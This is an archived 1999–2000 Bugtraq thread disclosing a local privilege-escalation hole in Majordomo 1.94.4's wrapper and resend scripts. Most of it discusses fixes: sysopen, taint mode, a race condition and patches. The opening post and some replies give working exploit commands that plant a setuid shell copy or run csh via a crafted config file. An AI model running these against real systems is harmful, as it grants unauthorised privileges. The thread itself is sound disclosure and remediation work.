4620928 1999-12-29 07:37 /82 rader/ Postmaster Mottagare: Bugtraq (import) <9069> Ärende: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Message-ID: <19991229024744.23364.qmail@nwcst292.netaddress.usa.net> Date: Tue, 28 Dec 1999 20:47:44 CST Reply-To: Brock Tellier <btellier@USA.NET> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Brock Tellier <btellier@USA.NET> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by samantha.lysator.liu.se id HAA06340 OVERVIEW A vulnerability in majordomo allows local users to gain elevated privileges. BACKGROUND I've only tested the version of majordomo which comes with UnixWare 7.1 which is 1.94.4. This vulnerability may or not still be present in newer versions of majordomo, but it exists on the default UW7.1 installation. Thanks to rain.forest.puppy for his paper on how to exploit CGI/perl scripts, as it helped me out in this exploit. Grab it at http://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=2 DETAILS The majordomo wrapper allows users to run programs in the /usr/local/majordomo directory with the uid of owner and the gid of daemon. The permissions for wrapper are: -rwsr-xr-x 1 root daemon 6464 Jan 4 1999 /usr/local/majordomo/wrapper but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before execing the wrapped program. A vulnerability in "/usr/local/majordomo/resend" will allow us to execute arbitrary commands with our elevated privileges. The following code snippet appears in resend, a perl script: -snip- # If the first argument is "@filename", read the real arguments # from "filename", and shove them onto the ARGV for later processing # by &Getopts() # if ($ARGV[0] =~ /^\@/) { $fn = shift(@ARGV); $fn =~ s/^@//; open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); -snip- As you can see, if our first argument to resend starts with a "@", resend will attempt to open() the filename. However, open() can also be used to run programs if the first argument to open() begins with a pipe "|". If our first argument is "@|id", resend will run the program "id" with full privileges. EXPLOIT Our exploit is simple: bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh /tmp/xnec;chmod 6555 /tmp/xnec' resend: must specify '-l list' at /usr/local/majordomo/resend line 77. bash-2.02$ ls -la /tmp/xnec -r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec Brock Tellier UNIX Systems Administrator Chicago, IL, USA btellier@usa.net ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 (4620928) ------------------------------------------(Ombruten) 4623567 1999-12-30 02:16 /35 rader/ Postmaster Mottagare: Bugtraq (import) <9075> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.SUN.4.10.9912290949330.22561-100000@westnet.com> Date: Wed, 29 Dec 1999 09:52:33 -0500 Reply-To: "Christopher X. Candreva" <chris@WESTNET.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: "Christopher X. Candreva" <chris@WESTNET.COM> X-To: Brock Tellier <btellier@USA.NET> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <19991229024744.23364.qmail@nwcst292.netaddress.usa.net> On Tue, 28 Dec 1999, Brock Tellier wrote: > but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before > execing the wrapped program. Bugs in resend aside, this appears to be an incorrect configuration of wrapper. majordomo should have it's own group as well as user, and it should change to that group, not daemon. This is according to Doc/FAQ in the Majordomo 1.94.4 distribution. The whole point of the wrapper and unique uid/gid is to limit the effect of such bugs. -Chris ========================================================== Chris Candreva -- chris@westnet.com -- (914) 967-7816 WestNet Internet Services of Westchester http://www.westnet.com/ (4623567) ------------------------------------------(Ombruten) 4623581 1999-12-30 02:26 /47 rader/ Postmaster Mottagare: Bugtraq (import) <9076> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-ID: <199912291530.RAA27325@sirppi.helsinki.fi> Date: Wed, 29 Dec 1999 17:30:15 +0200 Reply-To: Taneli Huuskonen <huuskone@CC.HELSINKI.FI> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Taneli Huuskonen <huuskone@CC.HELSINKI.FI> X-To: "Todd C. Miller" <Todd.Miller@COURTESAN.COM> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <199912290703.AAA05209@xerxes.courtesan.com> from "Todd C Miller" at "Dec 29, 1999 00:03:01 am" -----BEGIN PGP SIGNED MESSAGE----- "Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote: > For those using perl 5.x, you can use sysopen() instead of the "magic" > perl open() to fix this. I'm afraid that wouldn't help much, as you can supply any pathname as the -C (configuration file) argument: /path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl I tested this with version 1.94.1, but the same behaviour seems to be there in 1.94.4, as far as I can tell by the source. Taneli Huuskonen -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQB1AwUBOGoorAUw3ir1nvhZAQF31gL9HRxD8LOVsilgTuj5iRRTHdhI0cGS7AF/ cBzVkofDCcu4UamxZj7weOqK//EbHPjEuFE7ABW4sb4CHXigA0rVuc/B2QKntX7A UmceOIjDSU8iVj5FqFkbo9u3uysC8ngl =Iy7+ -----END PGP SIGNATURE----- -- I don't | All messages will be PGP signed, | Fight for your right to speak for | encrypted mail preferred. Keys: | use sealed envelopes. the Uni. | http://www.helsinki.fi/~huuskone/ | http://www.gilc.org/ (4623581) ------------------------------------------ 4623608 1999-12-30 02:59 /61 rader/ Postmaster Mottagare: Bugtraq (import) <9079> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM X-Sender: spidey@anarcat.dyndns.org MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.BSF.3.96.991229111930.4269B-100000@anarcat.dyndns.org> Date: Wed, 29 Dec 1999 11:29:03 -0500 Reply-To: beaupran@iro.umontreal.ca Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Spidey <spidey@iro.umontreal.ca> X-To: Brock Tellier <btellier@USA.NET> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <19991229024744.23364.qmail@nwcst292.netaddress.usa.net> It would be important to note that on POSIX systems, the wrapper is compiled to setuid() to the majordomo user, so this won't give a root shell... On other systems, you are advised to install majordomo suid 'majordomo' instead of root. From the "INSTALL" file: 3) Edit the Makefile, defining where Perl and the C compiler are, the Majordomo home directory (chosen in step 2), the location of the manual pages, the user and group that Majordomo will run under, and the permissions for the various files and directories. If running on a non-POSIX system, comment out the POSIX SECTION in the Makefile. Under POSIX, wrapper must be setuid "root", even if the programs will be running as something other than "root" (i.e., "daemon"), or it won't work. The symptom of this is that Perl starts complaining about security violations and "unsafe usages". Hum... In fact, it is not really written clearly that one non-POSIX system should not install the wrapper suid root, but that's how I see it since: #ifdef POSIX_GID setgid(POSIX_GID); #else setgid(getegid()); #endif #ifdef POSIX_UID setuid(POSIX_UID); #else setuid(geteuid()); #endif I think I will warn majordomo about this... AnarCat Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora (4623608) ------------------------------------------(Ombruten) 4623615 1999-12-30 03:12 /50 rader/ Postmaster Mottagare: Bugtraq (import) <9080> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.20.9912291615411.6601-100000@corellia.edlund.org> Date: Wed, 29 Dec 1999 16:20:38 +0100 Reply-To: Henrik Edlund <henrik@EDLUND.ORG> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Henrik Edlund <henrik@EDLUND.ORG> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <199912291455.HAA06968@xerxes.courtesan.com> > - -snip- > > # If the first argument is "@filename", read the real arguments > # from "filename", and shove them onto the ARGV for later processing > # by &Getopts() > # > if ($ARGV[0] =~ /^\@/) { > $fn = shift(@ARGV); > $fn =~ s/^@//; > open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); > > - -snip- This security problem is as common as Perl scripts. Perl programmers should always specify for open what they want to do (read/write) and just not be lazy and skip that when they want to read. A simple fix like: open(AV, "< $fn") || die("open(AV, \"< $fn\"): $!\nStopped"); should fix this problem. As we specify that we are reading by using the < (less than) the script will simple choke and say that it can't open the filename starting with a | (pipe), instead of running the filename. There is no need, I believe, to use the sysopen function as someone else suggested earlier. I believe this security hole has been covered in some other advisory concerning all Perl (especially CGI) scripts. -- Henrik Edlund http://www.edlund.org/ "They were in the wrong place at the wrong time. Naturally they became heroes." Leia Organa of Alderaan, Senator (4623615) ------------------------------------------ 4623636 1999-12-30 03:41 /49 rader/ Postmaster Mottagare: Bugtraq (import) <9082> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.10.9912291022170.25584-100000@koala.towery.com> Date: Wed, 29 Dec 1999 10:28:32 -0600 Reply-To: Brock Sides <bsides@TOWERY.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Brock Sides <bsides@TOWERY.COM> X-To: "Todd C. Miller" <Todd.Miller@COURTESAN.COM> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <199912290703.AAA05209@xerxes.courtesan.com> A note to anybody applying this, via patch or otherwise. Don't keep the original resend lying around in the majordomo directory: wrapper assumes everything in that directory is secure, and will gladly execute it. [brock@o2 brock]$ /usr/freeware/majordomo/wrapper resend.orig '@|id' uid=1126(majordomo) gid=1(daemon) resend: must specify '-l list' at /usr/freeware/majordomo-1.94.4/resend.orig line 78. -- Brock Sides Unix Systems Administration Towery Publishing bsides@towery.com On Wed, 29 Dec 1999, Todd C. Miller wrote: > For those using perl 5.x, you can use sysopen() instead of the "magic" > perl open() to fix this. > > - todd > > --- resend Thu Aug 19 10:12:03 1999 > +++ resend+ Tue Dec 28 23:55:39 1999 > @@ -58,7 +58,7 @@ > if ($ARGV[0] =~ /^\@/) { > $fn = shift(@ARGV); > $fn =~ s/^@//; > - open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); > + sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped"); > undef($/); # set input field separator > $av = <AV>; # read whole file into string > close(AV); > (4623636) ------------------------------------------(Ombruten) 4623660 1999-12-30 05:03 /121 rader/ Postmaster Mottagare: Bugtraq (import) <9086> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="DKU6Jbt7q3WqK7+M" Message-ID: <19991229172230.B3278@monad.swb.de> Date: Wed, 29 Dec 1999 17:22:30 +0100 Reply-To: Olaf Kirch <okir@MONAD.SWB.DE> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Olaf Kirch <okir@MONAD.SWB.DE> X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <19991229024744.23364.qmail@nwcst292.netaddress.usa.net>; fro btellier@USA.NET on Tue, Dec 28, 1999 at 08:47:44PM -0600 --DKU6Jbt7q3WqK7+M Content-Type: text/plain; charset=us-ascii While browsing the majordomo lists trying to find out if anyone is taking care of this issue, I came across another that's in their archive (appended below). The comment of Dave Wolfe was that you shouldn't let untrusted users run programs on his majordomo server. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play okir@monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax okir@caldera.de +-------------------- Why Not?! ----------------------- UNIX, n.: Spanish manufacturer of fire extinguishers. --DKU6Jbt7q3WqK7+M Content-Type: message/rfc822; charset=us-ascii Content-Disposition: attachment; filename=cf-flaw From majordomo-workers-owner Fri Dec 3 13:13:01 1999 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA00667; Fri, 3 Dec 1999 12:57:46 -0800 (PST) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA00657 for majordomo-workers@greatcircle.com; Fri, 3 Dec 1999 12:57:44 -0800 (PST) Received: from tirin.openworld.co.uk (tirin.openworld.co.uk [194.207.107.233]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA13922 for <majordomo-workers@greatcircle.com>; Thu, 2 Dec 1999 13:55:01 -0800 (PST) Received: from localhost (shevek@localhost) by tirin.openworld.co.uk (8.9.3/8.9.3) with ESMTP id WAA03319 for <majordomo-workers@greatcircle.com>; Thu, 2 Dec 1999 22:00:48 GMT Date: Thu, 2 Dec 1999 22:00:48 +0000 (GMT) From: Shevek <shevek@anarres.org> X-Sender: shevek@tirin.openworld.co.uk To: majordomo-workers@greatcircle.com Subject: $cf Security flaw Message-ID: <Pine.LNX.4.10.9912022150430.1186-100000@tirin.openworld.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Status: RO Content-Length: 1640 Lines: 61 I can get majordomo privelidges as a user. shevek@tirin ~$ cat foo.pl system("/bin/csh"); shevek@tirin ~$ /usr/local/majordomo/wrapper majordomo -C /home/shevek/foo.pl % %whoami majordom root@tirin /usr/local/majordomo# ls -ld . drwxr-x--x 6 majordom daemon 1024 Dec 2 21:49 ./ root@tirin /usr/local/majordomo# ls -l wrapper -rwsr-xr-x 1 root daemon 6630 Jul 12 11:21 wrapper* The lines in Majordomo (I found the bug by simple inspection, it's also in resend) $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; while ($ARGV[0]) { # parse for config file or default list if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case $cf = $ARGV[1]; shift(@ARGV); shift(@ARGV); } elsif ($ARGV[0] eq "-l") { $deflist = $ARGV[1]; shift(@ARGV); shift(@ARGV); } else { die "Unknown argument $ARGV[0]\n"; } } if (! -r $cf) { die("$cf not readable; stopped"); } require "$cf"; Am I doing something wrong, or is this a general flaw? Can I simply disable all the possible methods of setting $cf without breaking other things? I haven't had time to inspect the system at any length, I just glanced at it. I am not on any greatcircle mailing lists, I would appreciate replies to my own address if there is discussion on this subject. Majordomo version 1.94.4 Perl 5.005_03 Ta. S. -- Shevek GM/CS/MU -d+ H+>++ s+: !g p2 au0 !a w+++ v-(---) C++++$ UL++++$ UB+ US+++$ UI+++$ P+>++++ L++++$ 3+ E--- N K !W(-----) M(-) !V -po+ Y+ t+ 5++ !j !R G' !tv b+++ D++ B--- e+ u+* h++ f? r-- n---- y? Recent UH+>++ UO+ UC++ U?+++ UV++ and collecting. --DKU6Jbt7q3WqK7+M-- (4623660) ------------------------------------------(Ombruten) 4625023 1999-12-30 19:07 /52 rader/ Postmaster Mottagare: Bugtraq (import) <9088> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <386AC27A.A4C31276@nodc.noaa.gov> Date: Wed, 29 Dec 1999 21:24:58 -0500 Reply-To: jogata@NODC.NOAA.GOV Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Jefferson Ogata <jogata@NODC.NOAA.GOV> Organization: National Oceanographic Data Center X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM Henrik Edlund wrote: [majordomo Perl vulnerability discussion snipped] > This security problem is as common as Perl scripts. Perl > programmers should always specify for open what they want to do > (read/write) and just not be lazy and skip that when they want to > read. A simple fix like: > > open(AV, "< $fn") || die("open(AV, \"< $fn\"): $!\nStopped"); > > should fix this problem. As we specify that we are reading by > using the < (less than) the script will simple choke and say that > it can't open the filename starting with a | (pipe), instead of > running the filename. There is no need, I believe, to use the > sysopen function as someone else suggested earlier. > > I believe this security hole has been covered in some other > advisory concerning all Perl (especially CGI) scripts. Perl programmers should always use the taint flag (-T), full warnings (-w), and the strict module, and just not be lazy, period! These should be considered mandatory in code that will be distributed as part of any automated system, regardless of setuid execution. With taint enabled, the programmer would have had to define the allowable range of arguments by untainting them, and this problem would not exist. Taint is there. Use it! Reliance on filename semantics for security is not the Proper Way. Also, require 5.004_05 or newer. Unfortunately, 5.004_04 has a somewhat obscure taint bug. Happy new year! -- Jefferson Ogata <jogata@nodc.noaa.gov> National Oceanographic Data Center You can't step into the same river twice. -- Herakleitos (4625023) ------------------------------------------(Ombruten) 4625039 1999-12-30 19:20 /73 rader/ Postmaster Mottagare: Bugtraq (import) <9089> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.20.9912300436140.10698-100000@corellia.edlund.org> Date: Thu, 30 Dec 1999 04:37:36 +0100 Reply-To: Henrik Edlund <henrik@EDLUND.ORG> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Henrik Edlund <henrik@EDLUND.ORG> X-To: Taneli Huuskonen <huuskone@CC.HELSINKI.FI> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <199912291530.RAA27325@sirppi.helsinki.fi> On Wed, 29 Dec 1999, Taneli Huuskonen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > "Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote: > > > For those using perl 5.x, you can use sysopen() instead of the "magic" > > perl open() to fix this. > > I'm afraid that wouldn't help much, as you can supply any pathname as > the -C (configuration file) argument: > > /path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl > > I tested this with version 1.94.1, but the same behaviour seems to be > there in 1.94.4, as far as I can tell by the source. This patch should take care of that problem: --- majordomo.old Sat Oct 2 02:30:30 1999 +++ majordomo Thu Dec 30 04:34:25 1999 @@ -44,6 +44,25 @@ die("$cf not readable; stopped"); } +# Check if the cf file is owned by effective uid +if ((stat($cf))[4] != $>) { + die("$cf not owned by effective uid; stopped"); +} + +# Check if the cf file is owned by effective gid +$cfgid = (stat($cf))[5]; +$inlist = 0; +foreach (split(/ /, $))) { + if ($cfgid == $_) { + $inlist = 1; + last; + } +} +if (! $inlist) { + die("$cf not owned by effective gid; stopped"); +} + +# Now we can read and execute the cf file require "$cf"; # Go to the home directory specified by the .cf file Comments? -- Henrik Edlund http://www.edlund.org/ "They were in the wrong place at the wrong time. Naturally they became heroes." Leia Organa of Alderaan, Senator (4625039) ------------------------------------------ 4625164 1999-12-30 20:24 /50 rader/ Postmaster Mottagare: Bugtraq (import) <9093> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.BSF.4.02A.9912291914320.11925-100000@leet.k-r4d.com> Date: Wed, 29 Dec 1999 19:28:40 -0700 Reply-To: Coolio <coolio@K-R4D.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Coolio <coolio@K-R4D.COM> X-To: Taneli Huuskonen <huuskone@CC.HELSINKI.FI> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <199912291530.RAA27325@sirppi.helsinki.fi> On Wed, 29 Dec 1999, Taneli Huuskonen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > "Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote: > > > For those using perl 5.x, you can use sysopen() instead of the "magic" > > perl open() to fix this. > > I'm afraid that wouldn't help much, as you can supply any pathname as > the -C (configuration file) argument: > > /path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl > > I tested this with version 1.94.1, but the same behaviour seems to be > there in 1.94.4, as far as I can tell by the source. > > Taneli Huuskonen > There are numerous holes in majordomo's scripts. Most of them allow you to specify an alternate .cf file, and that file is executed as majordomo.daemon or majordomo.majordomo. A FreeBSD box I was doing testing on had it running as group daemon, as INSTALL suggested, and because mrtg was group daemon and 775 instead of 755 (I'm not sure if that's how mrtg is installed by default) and mrtg is crontabbed to run as root every 5 minutes, this tiny hole in majordomo gives root to any local users. To continue using majordomo I recommend a) fixing the open() hole Brock Tellier found, and b) removing the ability to specify an alternate .cf file from all the majordomo scripts. Is there a safe way to allow users to specify an alternate majordomo.cf? - Coolio (4625164) ------------------------------------------(Ombruten) 4625202 1999-12-30 20:46 /29 rader/ Postmaster Mottagare: Bugtraq (import) <9094> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0i Message-ID: <19991229233914.K758@perlsupport.com> Date: Wed, 29 Dec 1999 23:39:14 -0800 Reply-To: Chip Salzenberg <chip@VALINUX.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chip Salzenberg <chip@VALINUX.COM> X-To: Henrik Edlund <henrik@EDLUND.ORG> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <Pine.LNX.4.20.9912291615411.6601-100000@corellia.edlund.org> from henrik@EDLUND.ORG on Wed, Dec 29, 1999 at 04:20:38PM +0100 According to Henrik Edlund: > There is no need, I believe, to use the sysopen function as someone > else suggested earlier. But sysopen() is a simpler approach that eliminates all such concerns, and adds robustness. Simply prepending "< " is not enough to work in the presence of, say, filenames that begin with whitespace. PS: I added sysopen() to Perl 5.4. :-) -- Chip Salzenberg - a.k.a. - <chip@valinux.com> "Fleagal. Bingo. Drooper. Snork. They're cops." //MST3K (4625202) ------------------------------------------ 4626404 1999-12-31 09:07 /39 rader/ Postmaster Mottagare: Bugtraq (import) <9103> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <386C1759.2E59B346@hem.passagen.se> Date: Fri, 31 Dec 1999 03:39:21 +0100 Reply-To: hno@HEM.PASSAGEN.SE Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Henrik Nordstrom <hno@HEM.PASSAGEN.SE> X-To: Henrik Edlund <henrik@EDLUND.ORG> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM Henrik Edlund wrote: > > I'm afraid that wouldn't help much, as you can supply any pathname as > > the -C (configuration file) argument: > > > > /path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl > > > > I tested this with version 1.94.1, but the same behaviour seems to be > > there in 1.94.4, as far as I can tell by the source. > > This patch should take care of that problem: Not quite. Your patch can be fooled by simple link trickery as there is a race window between your check and the parsing of the configuration file. A better way is to stat the filehandle. This guarantees (on system supporting fstat) that you get the information on the file about to be read in rather than the information of a filename which may or may not be the same file which is being read in. -- Henrik Nordstrom (4626404) ------------------------------------------(Ombruten) 4626515 1999-12-31 11:02 /47 rader/ Postmaster Mottagare: Bugtraq (import) <9107> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Hi-To-All-My-Friends-In-Domestic-Surveillance: hi there, sports fans :) Message-ID: <19991230181626.A24928@noc.untraceable.net> Date: Thu, 30 Dec 1999 18:16:26 -0500 Reply-To: Andrew Brown <atatat@atatdot.net> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Andrew Brown <atatat@atatdot.net> X-To: Henrik Edlund <henrik@EDLUND.ORG> X-cc: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <Pine.LNX.4.20.9912300436140.10698-100000@corellia.edlund.org> from henrik@EDLUND.ORG on Thu, Dec 30, 1999 at 04:37:36AM +0100 >This patch should take care of that problem: > >--- majordomo.old Sat Oct 2 02:30:30 1999 >+++ majordomo Thu Dec 30 04:34:25 1999 >@@ -44,6 +44,25 @@ > die("$cf not readable; stopped"); > } > >+# Check if the cf file is owned by effective uid >+if ((stat($cf))[4] != $>) { >+ die("$cf not owned by effective uid; stopped"); >+} >... >Comments? hmm...race condition? it would really be better (in this vein) to (a) open the config file, (b) fstat it (once, not twice) and (c) then read and eval the code rather using require (since you can't "require" a file handle). of course...using a config file or perl is nice, since you *can* simply require it, but a parsed config file that just sets variables is better since it implicitly disallows attacks like this. -- |-----< "CODE WARRIOR" >-----| codewarrior@daemon.org * "ah! i see you have the internet twofsonet@graffiti.com (Andrew Brown) that goes *ping*!" andrew@crossbar.com * "information is power -- share the wealth." (4626515) ------------------------------------------ 4639854 2000-01-04 22:53 /256 rader/ Postmaster Mottagare: Bugtraq (import) <9150> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Message-ID: <1000103163835.ZM243070@coleen.arsc.edu> Date: Mon, 3 Jan 2000 16:38:35 +0000 Reply-To: Dale Clark <clark@ARSC.EDU> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Dale Clark <clark@ARSC.EDU> X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM The following patch, built upon code and suggestions submitted by Henrik Edlund, Henrik Nordstrom, and Andrew Brown, is intended to render safe the config file requires, in the seven scripts which use them, in the Majordomo 1.94.4 home directory. It also incorporates Todd Miller's patch of Dec. 29. Basically, it replaces each "require $cf" with the following: if (not sysopen CONFIG,$cf,O_RDONLY) { die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; } elsif ((stat CONFIG)[4] != $>) { die qq|Config file "$cf" not owned by effective UID.\n|; } elsif (eval(join '',<CONFIG>),$@) { die qq|Unable to eval "$cf": $@.\n|; } else { close CONFIG; } Use by cd'ing to Majordomo HOME, and issuing "patch < majorodomo-1.94.4.patch". Be sure to "chmod a-x *orig" after. Dale V. Clark clark@arsc.edu Systems Analyst 907-474-5114 Arctic Region Supercomputing Center www.arsc.edu ======================== majordomo-1.94.4.patch ======================== --- archive2.pl Mon Jan 3 14:35:32 2000 +++ archive2.pl.new Mon Jan 3 14:36:16 2000 @@ -54,10 +54,23 @@ shift(@ARGV); shift(@ARGV); } -if (! -r $cf) { - die("$cf not readable; stopped"); + +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; } -require "$cf"; +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; +} # All these should be in the standard PERL library unshift(@INC, $homedir); --- bounce-remind Mon Jan 3 14:35:32 2000 +++ bounce-remind.new Mon Jan 3 14:38:16 2000 @@ -24,10 +24,23 @@ shift(@ARGV); shift(@ARGV); } -if (! -r $cf) { - die("$cf not readable; stopped"); + +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; } -require "$cf"; +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + 